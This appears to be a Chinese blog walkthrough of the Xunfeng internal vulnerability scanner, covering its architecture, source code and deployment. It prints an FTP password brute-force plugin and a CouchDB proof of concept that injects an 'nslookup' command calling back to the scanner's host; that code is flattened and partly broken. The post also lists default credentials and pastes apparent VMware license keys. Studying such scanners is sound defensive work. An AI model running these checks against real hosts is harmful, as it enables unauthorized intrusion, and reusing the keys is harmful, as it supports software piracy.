同程SRC巡风-内网漏洞应急巡航扫描系统
内网漏洞应急巡航扫描系统
- 介绍
- 主体两部分:网络资产识别引擎,漏洞检测引擎。
- 代码赏析
- 插件编写
- JSON标示符
- Python脚本
- 此外系统内嵌了辅助验证功能
- 文件结构
- 功能 模块
- 添加IP
- 巡风源码剖析——源码解析
- Win10部署和调试巡风
- 安装 python 解释器:
- python 依赖库
- 使用pip安装 python 依赖库, 这里使用了豆瓣的 pypi 源。
- 安装数据库
- https://github.com/ysrc/xunfeng/blob/master/docs/install/Windows.md 安装指南 win
- Ubuntu部署和调试巡风
- docker安装
- 2021.2.22
- 巡风源码剖析——细致了解与使用
介绍
巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。
支持多平台安装,包括windows、linux、OSX、docker
1.查看内部网络资产分布
2.指定漏洞插件对搜索结果进行快速漏洞检测
3.并输出结果报表
下载传送门
主体两部分:网络资产识别引擎,漏洞检测引擎。
①网络资产识别:
通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),
并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。
②漏洞检测引擎
根据用户指定的任务规则进行定期或者一次性的漏洞检测,
其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。
资产扫描和漏洞扫描都是基于数据库中特定字段的改变,会有心跳线程monitor(),不断的去检查数据库中字段。用户在页面上的操作,都是先改变数据库内容而已。
所以比如开启某个漏扫任务,可能没法马上开始。
代码赏析
任务模块化,结构化的思维
项目比较完整
插件编写
漏洞插件支持2种类型,json标示与python脚本,
可以通过官方推送渠道安装或者自行添加。
JSON标示符
Python脚本
插件标准非常简洁,
只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。
此外系统内嵌了辅助验证功能
使用例子:
import ftplibdef get_plugin_info(): # 插件描述信息plugin_info = {"name": "FTP弱口令","info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。","level": "高危","type": "弱口令","author": "wolf@YSRC","url": "","keyword": "server:ftp", # 推荐搜索关键字}return plugin_infodef check(ip, port, timeout): # 漏洞检测代码user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']for user in user_list:for pass_ in PASSWORD_DIC: # 密码字典无需定义,程序会自动为其赋值。pass_ = str(pass_.replace('{user}', user))try:ftp = ftplib.FTP()ftp.timeout = timeoutftp.connect(ip, port)ftp.login(user, pass_)if pass_ == '': pass_ = 'null'if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"return u"存在弱口令,账号:%s,密码:%s" % (user, pass_) # 成功返回结果,内容显示在扫描结果页面。except:passimport urllib2import randomimport socketdef get_plugin_info(): # 插件描述信息plugin_info = {"name": "CouchDB未授权访问","info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。","level": "高危","type": "未授权访问","author": "wolf@YSRC","url": "","keyword": "server:couchdb", # 推荐搜索关键字}def get_ver_ip(ip):csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)csock.connect((ip, 80))(addr, port) = csock.getsockname()csock.close()return addrdef random_str(len):str1=""for i in range(len):str1+=(random.choice("ABCDEFGH1234567890"))return str(str1)def check(ip,port,timeout):rand_str = random_str(8)cmd = random_str(4)server_ip = get_ver_ip()req_list = [["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],["/vultest123",''],["/vultest123/test",'{"_id":"safetest"}']]for req_info in req_list:try:request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)request.get_method = lambda: 'PUT'urllib2.urlopen(request)except:passtry:req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))req_exec.add_header("Content-Type","application/json")urllib2.urlopen(req_exec)except:passcheck = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()if 'YES' in check:return u"未授权访问"
文件结构
功能 模块
添加IP
菜单“配置”--“网络资产探测列表”
二、设置资产探测周期
设置资产探测的扫描周期,
资产添加后大约等该40s之后到菜单“统计”处查看存活检查结果
当更新资产时须手动重启巡风相关服务。再次执行sh Run.sh即可三. 进行扫描先进行查询
选中查询到的IP,并新增任务
任务的相关设置
最后单击保存任务提示“新增成功”
四、查看任务
菜单“任务”--单击新建的任务查看即可。
========
手动测试好使:
填入正确的masscan路径和资产范围
巡风源码剖析——源码解析
aider 这个目录是辅助验证的Aider.py 辅助验证的脚本。这个脚本会监听8088端口、以及DNS监听53端口。可以将所有请求的dns请求记录下来辅助验证某处是否存在漏洞。
db 数据库
dockerconf docker的配置
docs windows Linux docker环境下的使用文档
install .sh ,那应该就是Linux的安装时才使用到的文件夹了
masscan 里面存放的是根据不同操作系统选择不同的masscan的版本
nascan 资产探测识别 信息收集相关的东西
venv 虚拟环境,这个是根据requirements.txt创建的虚拟安装
views 巡风flask框架的视图存放
vulscan 目录存放的是漏洞探测(其中包括打poc)
mogod.exe 用于启动mongodbRun.py 启动web网站Aider.py # 辅助验证脚本VulScan.py # 漏洞检测引擎NAScan.py # 网络资产信息抓取引擎
flask框架
注意视图函数的跳转,有的地方是不跳转的
- lib可以说是一个动态库
- lib 里面的 ___ init __.py是做初始化的工作( 空文件 )
在引用这个目录的文件之前,先执行这个 __ init __
AntiCSRF 巡风的csrf防御,
巡风对于csrf防御 用的是 加referer的形式
(csrf防御有两种机制,一种是加token,
一种是加referer,相对来说还是加token更安全一点,
毕竟referer是可以伪造的)
-- 判断referer的依据是,首先在一个request里面要有referer,再有这个referer的格式化必须要跟服务器内的相等--
from functools import wraps
from flask import url_for, redirect, request
# 检查referer
def anticsrf(f):@wraps(f)def wrapper(*args, **kwargs):try:if request.referrer and request.referrer.replace('http://', '').split('/')[0] == request.host:return f(*args, **kwargs)else:return redirect(url_for('NotFound'))except Exception, e:print ereturn redirect(url_for('Error'))return wrapper
- Conn.py 是连接mongdb的数据的文件
from pymongo import MongoClient# 数据库连接
class MongoDB(object):def __init__(self, host='localhost', port=27017, database='xunfeng', username='', password=''):self.host = hostself.port = portself.database = databaseself.conn = MongoClient(self.host, self.port)self.coll = self.conn[self.database]self.coll.authenticate(username, password)
- Create_Excel.py 创建excel的脚本
# -*- coding: UTF-8 -*-import xlwt
import StringIO# 将数据保存成excel
def write_data(data, tname):file = xlwt.Workbook(encoding='utf-8')table = file.add_sheet(tname, cell_overwrite_ok=True)l = 0for line in data:c = 0for _ in line:table.write(l, c, line[c])c += 1l += 1sio = StringIO.StringIO()file.save(sio)return sio# excel业务逻辑处理
def CreateTable(cursor, id):item = []item.append(['IP', '端口', '主机名', '风险等级', '漏洞描述', '插件类型', '任务名称', '时间', '扫描批次'])for i in cursor:if i['lastscan']:_ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'),i['lastscan'].strftime('%Y-%m-%d %H:%M:%S')]else:_ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'), '']item.append(_)file = write_data(item, id)return file.getvalue()
- 最重要的是导入了一个xlwt这个库,
- 这个库在写文件的时候是整行整行的写
- StringIO与file对象非常像,但它不是磁盘上文件,而是一个内存里的“文件”,我们可以像操作磁盘文件那样来操作StringIO。
- def write_data()就是一个保存和写一个excel的操作,
create_table是excel里面写的操作。 - Login.py 这个用的是一个装饰器,就是限制有没有session的,
def logincheck(f):@wraps(f)def wrapper(*args, **kwargs):try:if session.has_key('login'):if session['login'] == 'loginsuccess':return f(*args, **kwargs)else:return redirect(url_for('Login'))else:return redirect(url_for('Login'))except Exception, e:print ereturn redirect(url_for('Error'))
- QueryLogic,就是在首页点搜索的时候,要对数据进行处理,
import redef mgo_text_split(query_text):''' split text to support mongodb $text match on a phrase '''sep = r'[`\-=~!@#$%^&*()_+\[\]{};\'\\:"|<,./<>?]'word_lst = re.split(sep, query_text)text_query = ' '.join('\"{}\"'.format(w) for w in word_lst)return text_query# 搜索逻辑
def querylogic(list):query = {}if len(list) > 1 or len(list[0].split(':')) > 1:for _ in list:if _.find(':') > -1:q_key, q_value = _.split(':', 1)if q_key == 'port':query['port'] = int(q_value)elif q_key == 'banner':zhPattern = re.compile(u'[\u4e00-\u9fa5]+')contents = q_valuematch = zhPattern.search(contents)# 如果没有中文用全文索引if match:query['banner'] = {"$regex": q_value, '$options': 'i'}else:text_query = mgo_text_split(q_value)query['$text'] = {'$search': text_query, '$caseSensitive':True}elif q_key == 'ip':query['ip'] = {"$regex": q_value}elif q_key == 'server':query['server'] = q_value.lower()elif q_key == 'title':query['webinfo.title'] = {"$regex": q_value, '$options': 'i'}elif q_key == 'tag':query['webinfo.tag'] = q_value.lower()elif q_key == 'hostname':query['hostname'] = {"$regex": q_value, '$options': 'i'}elif q_key == 'all':filter_lst = []for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):filter_lst.append({i: {"$regex": q_value, '$options': 'i'}})query['$or'] = filter_lstelse:query[q_key] = q_valueelse:filter_lst = []for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):filter_lst.append({i: {"$regex": list[0], '$options': 'i'}})query['$or'] = filter_lstreturn query
如果用户输入的是port:22 ,分析下端口是22。这个要先根据 :分片
在进行检索的时候才会是知道port 22的所有结果
views.static 目录,这个目录就是把图片,css,js前端相关的一些东西
除了html都封装到这个目录里面了,这个是flask定义好的。views.templates这个目录里面封装的是视图函数用到的所有html。
view.views 这个文件就是存放巡风所有的视图了。
视图可以理解为就是一个url链接。
@app.route('/login', methods=['get', 'post'])
def Login():if request.method == 'GET':return render_template('login.html')else:account = request.form.get('account')password = request.form.get('password')if account == app.config.get('ACCOUNT') and password == app.config.get('PASSWORD'):session['login'] = 'loginsuccess'return redirect(url_for('Search'))else:return redirect(url_for('Login'))
获取account,password然后判断一下是否跟config里面保存的ACCOUNT、PASSWORD一样
- config.py
# coding:utf-8
class Config(object):ACCOUNT = 'admin'PASSWORD = '123456'class ProductionConfig(Config):DB = '127.0.0.1'PORT = 65521DBUSERNAME = 'scan'DBPASSWORD = 'scanlol66'DBNAME = 'xunfeng'
因为是个人使用,所以在数据库里面没有创建一张用户表。
直接跟config里面的验证一下,然后session添加一个常量就可以了。
如果验证正确就重定向到Search,如果错误就重定向到Login里面。
- filter就是直接渲染一个search.html
@app.route('/filter')
@logincheck
def Search():return render_template('search.html')
search.html里面中,除了这个搜索,
其他都是通过a标签的方式进行重定向,
就只有搜索功能是通过ajax,发送消息
假如搜索的是port : 22,那么结果就应该是
对应的就是这个视图
@app.route('/')
@logincheck
def Main():q = request.args.get('q', '')# 这里获取里两个参数,通过这样获取到搜索的条件进行查询page = int(request.args.get('page', '1'))plugin = Mongo.coll['Plugin'].find() # 插件列表plugin_type = plugin.distinct('type') # 插件类型列表if q: # 基于搜索条件显示结果result = q.strip().split(';')query = querylogic(result)cursor = Mongo.coll['Info'].find(query).sort('time', -1).limit(page_size).skip((page - 1) * page_size)return render_template('main.html', item=cursor, plugin=plugin, itemcount=cursor.count(),plugin_type=plugin_type, query=q)else: # 自定义,无任何结果,用户手工添加return render_template('main.html', item=[], plugin=plugin, itemcount=0, plugin_type=plugin_type)
q是获取搜索的标签,
其中这个request.args.get()这个是可以好好研究研究的
基本上都是通过ajax方式给后端发送数据。
Win10部署和调试巡风
安装 python 解释器:
https://sec.ly.com/mirror/python-2.7.13.amd64.msi
python 依赖库
下载并安装 pip 工具, https://pypi.python.org/pypi/pip#downloads 下载完解压后执行:
python setup.py install
使用pip安装 python 依赖库, 这里使用了豆瓣的 pypi 源。
pip install -r requirements.txt -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
因为我安装过Anaconda 因此有些依赖已经存在
安装数据库
https://github.com/ysrc/xunfeng/blob/master/docs/install/Windows.md 安装指南 win
下载: https://sec.ly.com/mirror/mongodb-win32-x86_64-2008plus-ssl-3.4.0-signed.msi
二、部署与配置
启动数据库
DBData为指定的数据库保存路径 需要新建一个DBData文件夹,写上DBData路径即可mongod.exe --port 65521 --dbpath DBData
mongodb 添加认证
可能需要等待时间长一点,耐心等待$ mongo 127.0.0.1:65521/xunfeng> db.createUser({user:'scan',pwd:'your password',roles:[{role:'dbOwner',db:'xunfeng'}]})> exit
导入数据库
db 文件夹位于xunfeng代码目录中: 即下载下来的xunfeng文件中的db文件 db写成db的路径即可$ mongorestore.exe -h 127.0.0.1:65521 -d xunfeng db
导入后关闭mongod.exe进程
- 修改配置
修改系统数据库配置脚本 config.py:
class Config(object):ACCOUNT = 'admin'PASSWORD = 'xunfeng321'
修改 DBPASSWORD 字段内的密码, 设置成你的密码。
class ProductionConfig(Config):DB = '127.0.0.1'PORT = 65521DBUSERNAME = 'scan'DBPASSWORD = 'scanlol66'DBNAME = 'xunfeng'
- 运行系统
根据实际情况修改 conifg.py 和 run.bat 文件后, 执行:
run.bat
run.bat文件:我把认证去掉了。
start mongod.exe --port 65521 --dbpath E:\yjs\MongoDB\DBdata
start python web.py
start python aider/aider.py
start python nascan/nascan.py
start python vulscan/vulscan.py
如何运行run.bat文件
我在bat文件上一层即xunfneg文件夹,按住shift 右键 选择 在此打开powershell 然后输入
./runbat
即可出现好几个命令窗口,并且不闪退即为成功。
输入在web.py文件中设置的 port和ip即可访问巡风
- python 3.7
Python 3.0以后的print都改为了print();
时空门
Ubuntu部署和调试巡风
giehub 文档
1.1 操作系统依赖
- 解决 拖拽 传输卡的 问题
YG5H2-ANZ0H-M8ERY-TXZZZ-YKRV8UG5J2-0ME12-M89WY-NPWXX-WQH88UA5DR-2ZD4H-089FY-6YQ5T-YPRX6GA590-86Y05-4806Y-X4PEE-ZV8E0ZF582-0NW5N-H8D2P-0XZEE-Z22VAYA18K-0WY8P-H85DY-L4NZG-X7RAD
- win10到1903,导致VMware版本不适配,更新到15.1以上就可以解决
# 存储
storage:dbPath: /opt/mongodb423/data/# 网络
net:bindIp: 127.0.0.1# 默认为27017port: 11111# 日志
systemLog:destination: filepath: /opt/mongodb423/logs/mongodb423.loglogAppend: true
引用这篇
—
docker安装
- 创建镜像
$ docker build -t xunfeng .
或者
$ docker pull ysrc/xunfeng
创建容器
$ docker run -d -p 8000:80 -v /opt/data:/data ysrc/xunfeng:latest
把物理机的 /opt/data 挂载到容器的 /data 目录下, 访问: http://127.0.0.1:8000/ 正常访问则代表安装成功Docker 镜像信息
类型 用户名 密码
Web账号 admin xunfeng321
mongodb 数据库 scan scanlol66
mongodb 端口 27017 -
巡风物理路径 /opt/xunfeng -
MASSCAN 路径 /opt/xunfeng/masscan/linux_64/masscan -
2021.2.22
开发工具 : pycharm 2020.1
增加 舆论分析系统 + 多搜索引擎(支持google) 去重 url 关键词采集*
- 可根据 具体行业 进行 选择式行业 渗透测试
同程SRC巡风-内网漏洞应急巡航扫描系统相关推荐
- 使用Holer公网SSH访问内网(局域网)Linux系统
1. Holer工具简介 Holer exposes local servers behind NATs and firewalls to the public internet over secur ...
- 北信源内网安全与补丁分发系统简单功能介绍
北信源现有产品 内网安全管理系统.补丁及文件分发管理系统.主机安全监控审计系统.终端安全登录与监控审计系统.移动存储介质使用管理系统.网络接入控制管理系统.电子文档安全管理系统.存储介质信息消除系统. ...
- 【PC工具】更新简单好用绿色IP地址扫描工具,内部网络设备查看工具,内网ip查询ip扫描工具,电脑IP地址查看方法...
玩路由器.NAS和树莓派的朋友经常需要查看内网设备ip地址.尤其是树莓派,一般情况不用桌面系统,登录SSH时候经常需要知道树莓派的ip地址.登录路由器可以查看到局域网内设备的ip地址,但很多情况下不方 ...
- 内网穿透神器ngrok mac系统
一.ngrok 下载 到官网下载ngrok小工具:https://ngrok.com/,工具体积很小,现在已经升级到 2.X 的版本,只支持64位操作系统,并被作者用于商业化.1.X版本的免费自定义固 ...
- 【PC工具】可能是最好用最方便的内部网络设备查看工具,内网ip查询ip扫描工具...
玩路由器.NAS和树莓派的朋友经常需要查看内网设备ip地址.尤其是树莓派,一般情况不用桌面系统,登录SSH时候经常需要知道树莓派的ip地址.登录路由器可以查看到局域网内设备的ip地址,但很多情况下不方 ...
- 使用网云穿内网穿透 实现外网访问内网金蝶(ERP)系统
日常工作,生活中.我们可能会遇到一些这样的问题,在企业内部,每个公司会有专属的内部系统,比如erp,金蝶.用友.畅捷通等办公软件:这些软件在企业内网是可以正常访问的,但是在外网是无法访问的,如果在分公 ...
- c# 远程网络唤醒电脑(电脑远程开机+内网MAC和IP扫描)(附带源码+主板和Windows开启详细说明+外网远程唤醒方案)
一.需求 1.人在公司坐,昨晚写的文档放在家中电脑忘记Copy了,想要访问家中电脑拿到文档. 2.家中或公司中局域网内有某台电脑(或服务器)要开机,或者批量一键打开局域网内某些电脑 二.必备条件 1. ...
- (转)Ubuntu 17.04_64上搭建巡风扫描系统(资产信息漏洞扫描内网神器)
巡风简介 巡风是一款适用于企业内网的漏洞快速应急.巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表.其主体分为两部分:网络资产识别 ...
- 扫描docker安装的工具_使用docker搭建巡风漏洞扫描系统
最近用docker搭建了巡风漏洞扫描系统,分享一下 巡风是一款适用于企业内网的漏洞快速应急.巡航扫描系统 而且已经提供了docker快速搭建 kali安装docker 这文章在kali和debian上 ...
最新文章
- React学习实例总结,包含yeoman安装、webpack构建
- js检测、控制表单输入必须为中文
- mysql timestamp 晚8小时_mysql插入timeStamp类型数据时间相差8小时的解决办法
- DetNAS ThunderNet
- iOS 多线程的简单理解(3)执行方式 + 执行对列 的组合
- MySQL配置文件my.cnf中文版
- 5个经典的JavaScript面试题
- boost::detail模块实现二分法查找的测试程序
- matlab watershed函数简单实现_函数指针方法实现简单状态机(附代码)
- 无人驾驶汽车之争本田为何未战先败
- HDU 5025Saving Tang Monk BFS + 二进制枚举状态
- php强制cookies,php Cookies操作类(附源码)
- 使用python-nmap 搭建基本端口扫描器
- 深度:那些梦碎乐视的造车高人!
- 以5‰的概率计算一个网络准确率达到99.9%的时间和迭代次数---实例三分类mnist 3,4,5
- unity3d 重力加速度传感器控制摄像头
- 851961-99-4,(2-pyridyldithio)-PEG4-alcohol含有吡啶基二硫化物部分和醇基的PEG连接剂
- 计算机和人脑在线阅读,人脑与电脑
- 移动端滑动事件---实战笔记
- 著作权使用合同包括哪些类型和条款内容?
热门文章
- 误码率SER和误比特率BER的关系
- 【原创推荐】 计算机毕业设计之Python+Spark+LSTM电商爬虫 商品推荐系统 商品评论情感分析 电商大数据 电商推荐系统 大数据毕业设计
- 推荐几种占位图生成工具,包含dummyimage、placehold和placekitten等
- mt4交易软件的优势和特点是什么?
- 图像处理:图像拼接简述
- php 帝国论坛,帝国Cms万能会员接口和论坛通行证接口介绍
- 问题 H: 逃出迷宫
- oracle脚本导出数据文件
- linux内核支持多串口,基于华邦W90P710处理器的Linux内核应用及串口驱动的实现
- MPLS相关配置及抓包分析